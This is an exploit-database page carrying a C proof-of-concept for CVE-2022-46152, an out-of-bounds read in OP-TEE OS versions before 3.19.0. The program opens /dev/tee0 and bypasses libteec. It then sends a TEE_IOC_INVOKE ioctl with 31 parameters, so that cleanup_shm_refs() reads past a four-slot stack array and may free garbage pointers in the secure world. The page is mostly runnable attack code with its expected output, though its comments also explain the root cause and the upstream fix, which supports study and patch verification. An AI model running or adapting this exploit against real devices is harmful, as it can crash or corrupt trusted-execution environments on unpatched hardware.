Exploit database

GH-ab6d902cef4a0442cf8730e3a346e8cc

0xbbdd/cve-2022-46152

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-46152

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
0xbbdd/cve-2022-46152Revision c01994e4763d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/cve_2022_46152.c

C · 8,336 bytes
/*
 * CVE-2022-46152 Proof of Concept Exploit
 *
 * Vulnerability: Improper Validation of Array Index in cleanup_shm_refs()
 * Affected:      OP-TEE OS < 3.19.0
 * Impact:        Out-of-bounds stack read; potential local privilege escalation
 *                from normal world to secure world
 * Reporter:      Amazon Web Services (Asaf Modelevsky)
 * Advisory:      https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
 *
 * Root Cause:
 *   In core/tee/entry_std.c, entry_invoke_command() calls copy_in_params() which
 *   returns TEE_ERROR_BAD_PARAMETERS when num_params > TEE_NUM_PARAMS (4).
 *   However, cleanup_shm_refs() is then called with the ORIGINAL num_params
 *   value (up to 127), causing it to iterate beyond saved_attr[4], reading
 *   up to 123 out-of-bounds stack slots. If any OOB value matches a TMEM/RMEM
 *   type constant, mobj_put() is called on a garbage pointer → use-after-free.
 *
 * Exploit Strategy:
 *   Bypass the libteec API (which caps num_params at 4) and use the Linux TEE
 *   ioctl interface directly to send an INVOKE command with num_params = 127.
 *
 * Expected Output (vulnerable, 3.18.0):
 *   - TEE returns TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
 *   - Secure world UART shows OOB access / potential abort/panic
 *
 * Expected Output (patched, >= 3.19.0):
 *   - TEE returns TEE_ERROR_BAD_PARAMETERS normally
 *   - No OOB; cleanup_shm_refs uses MIN(4, 127) = 4
 *
 * Build: aarch64-linux-gnu-gcc -o cve_2022_46152 cve_2022_46152.c -static
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <linux/tee.h>
#include <stdint.h>

/* Maximum params that fits in TEE_MAX_ARG_SIZE=1024:
 * sizeof(invoke_arg)=24 + N*sizeof(param)=N*32 <= 1024 → N=31
 * OPTEE_MSG_MAX_NUM_PARAMS=127, but Linux TEE ioctl caps buf at 1024 bytes.
 * With N=31: copy_in_params() still fails (31 > TEE_NUM_PARAMS=4),
 * and cleanup_shm_refs() reads 27 OOB elements past saved_attr[4]. */
#define EXPLOIT_NUM_PARAMS  31

/* TEEC_SUCCESS */
#define TEEC_SUCCESS        0x00000000
/* TEE_ERROR_BAD_PARAMETERS */
#define TEE_ERROR_BAD_PARAMETERS  0xFFFF0006

/* Hello World TA UUID: 8aaaf200-2450-11e4-abe2-0002a5d5c51b */
static const uint8_t ta_hello_world_uuid[TEE_IOCTL_UUID_LEN] = {
    0x8a, 0xaa, 0xf2, 0x00,
    0x24, 0x50,
    0x11, 0xe4,
    0xab, 0xe2,
    0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b
};

static int tee_open_session(int fd, const uint8_t *uuid, uint32_t *session_id)
{
    size_t buf_sz = sizeof(struct tee_ioctl_open_session_arg) +
                    4 * sizeof(struct tee_ioctl_param);

    struct tee_ioctl_open_session_arg *arg = calloc(1, buf_sz);
    if (!arg)
        return -ENOMEM;

    memcpy(arg->uuid, uuid, TEE_IOCTL_UUID_LEN);
    arg->clnt_login = TEE_IOCTL_LOGIN_PUBLIC;
    arg->num_params = 4;

    struct tee_ioctl_buf_data buf = {
        .buf_ptr = (uint64_t)(uintptr_t)arg,
        .buf_len = buf_sz,
    };

    if (ioctl(fd, TEE_IOC_OPEN_SESSION, &buf) < 0) {
        fprintf(stderr, "[!] TEE_IOC_OPEN_SESSION ioctl failed: %s\n",
                strerror(errno));
        free(arg);
        return -1;
    }

    if (arg->ret != TEEC_SUCCESS) {
        fprintf(stderr, "[!] Open session failed: ret=0x%08x origin=0x%x\n",
                arg->ret, arg->ret_origin);
        free(arg);
        return -1;
    }

    *session_id = arg->session;
    free(arg);
    return 0;
}

static void tee_close_session(int fd, uint32_t session_id)
{
    struct tee_ioctl_close_session_arg arg = {
        .session = session_id,
    };
    ioctl(fd, TEE_IOC_CLOSE_SESSION, &arg);
}

int main(void)
{
    int fd;
    uint32_t session_id;
    int ret = 0;

    printf("=== CVE-2022-46152 PoC Exploit ===\n");
    printf("OP-TEE cleanup_shm_refs() Out-of-Bounds Read\n");
    printf("Affected: OP-TEE OS < 3.19.0\n\n");

    /* 1. Open TEE device */
    fd = open("/dev/tee0", O_RDWR);
    if (fd < 0) {
        fprintf(stderr, "[!] Failed to open /dev/tee0: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/tee0\n");

    /* 2. Open session to Hello World TA */
    printf("[*] Opening session to Hello World TA...\n");
    if (tee_open_session(fd, ta_hello_world_uuid, &session_id) < 0) {
        fprintf(stderr, "[!] Could not open session; is hello_world TA loaded?\n");
        close(fd);
        return 1;
    }
    printf("[+] Session opened: id=%u\n", session_id);

    /* 3. Craft exploit: TEE_IOC_INVOKE with num_params = EXPLOIT_NUM_PARAMS (31)
     *
     *    Normal flow (libteec):  num_params <= 4  → safe
     *    Exploit (direct ioctl): num_params = 31  → OOB in cleanup_shm_refs()
     *    (Max via ioctl: TEE_MAX_ARG_SIZE=1024, so max N=31 params)
     *
     *    Vulnerable code in entry_invoke_command() (core/tee/entry_std.c):
     *
     *      uint64_t saved_attr[TEE_NUM_PARAMS] = { 0 };  // 4 * 8 = 32 bytes on stack
     *
     *      res = copy_in_params(params, num_params=31, &param, saved_attr);
     *      if (res != TEE_SUCCESS)   // TEE_ERROR_BAD_PARAMETERS (31 > 4)
     *          goto out;
     *      ...
     *      out:
     *      // ❌ BUG: num_params=31, but saved_attr only has 4 slots!
     *      cleanup_shm_refs(saved_attr, &param, num_params=31);
     *        for (n = 0; n < 31; n++) {
     *            switch (saved_attr[n]) {  // OOB when n >= 4!
     *            ...
     *        }
     *
     *    Fix in 3.19.0 (commit 728616b):
     *      cleanup_shm_refs(saved_attr, &param, MIN(TEE_NUM_PARAMS, num_params));
     *      → MIN(4, 31) = 4, no OOB
     */
    printf("[*] Triggering vulnerability: invoking with num_params=%d\n",
           EXPLOIT_NUM_PARAMS);
    printf("[*] saved_attr[] has only 4 slots -> reading %d extra stack words OOB\n",
           EXPLOIT_NUM_PARAMS - 4);

    size_t invoke_sz = sizeof(struct tee_ioctl_invoke_arg) +
                       EXPLOIT_NUM_PARAMS * sizeof(struct tee_ioctl_param);

    struct tee_ioctl_invoke_arg *invoke_arg = calloc(1, invoke_sz);
    if (!invoke_arg) {
        fprintf(stderr, "[!] calloc failed\n");
        ret = 1;
        goto out_close_session;
    }

    invoke_arg->func       = 0;            /* TA_HELLO_WORLD_CMD_INC_VALUE */
    invoke_arg->session    = session_id;
    invoke_arg->num_params = EXPLOIT_NUM_PARAMS;
    /* All params are NONE (attr=0), so mobj_put won't be called for them,
     * but the OOB read from saved_attr[4..126] still occurs. If those
     * stack slots happen to contain TMEM/RMEM type values (0x9-0xb, 0xd-0xf),
     * mobj_put() will be called on garbage pointers, causing heap corruption. */

    struct tee_ioctl_buf_data buf = {
        .buf_ptr = (uint64_t)(uintptr_t)invoke_arg,
        .buf_len = invoke_sz,
    };

    printf("[*] Buffer size: %zu bytes (TEE_MAX_ARG_SIZE limit: 1024)\n", invoke_sz);

    int ioctl_ret = ioctl(fd, TEE_IOC_INVOKE, &buf);

    if (ioctl_ret < 0) {
        printf("[!] ioctl returned error: %s (errno=%d)\n",
               strerror(errno), errno);
        printf("[!] TEE secure world may have crashed (abort/panic)\n");
        printf("[+] This indicates the vulnerability was triggered!\n");
    } else {
        printf("[+] ioctl returned: ret=0x%08x origin=0x%x\n",
               invoke_arg->ret, invoke_arg->ret_origin);

        if (invoke_arg->ret == TEE_ERROR_BAD_PARAMETERS) {
            printf("\n[+] VULNERABILITY TRIGGERED!\n");
            printf("[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0x%08x)\n",
                   TEE_ERROR_BAD_PARAMETERS);
            printf("[+] entry_invoke_command() rejected num_params=%d,\n",
                   EXPLOIT_NUM_PARAMS);
            printf("[+] but cleanup_shm_refs(%d, saved_attr[4], ...) ran OOB!\n",
                   EXPLOIT_NUM_PARAMS);
            printf("[*] Check the Secure World UART (port 54321) for crash details.\n");
        } else if (invoke_arg->ret == TEEC_SUCCESS) {
            printf("[?] Unexpected success — TA might have accepted the call.\n");
        } else {
            printf("[*] TEE returned 0x%08x\n", invoke_arg->ret);
        }
    }

    free(invoke_arg);

out_close_session:
    tee_close_session(fd, session_id);
    close(fd);

    printf("\n[*] Done. Check secure world UART output for OOB/abort evidence.\n");
    return ret;
}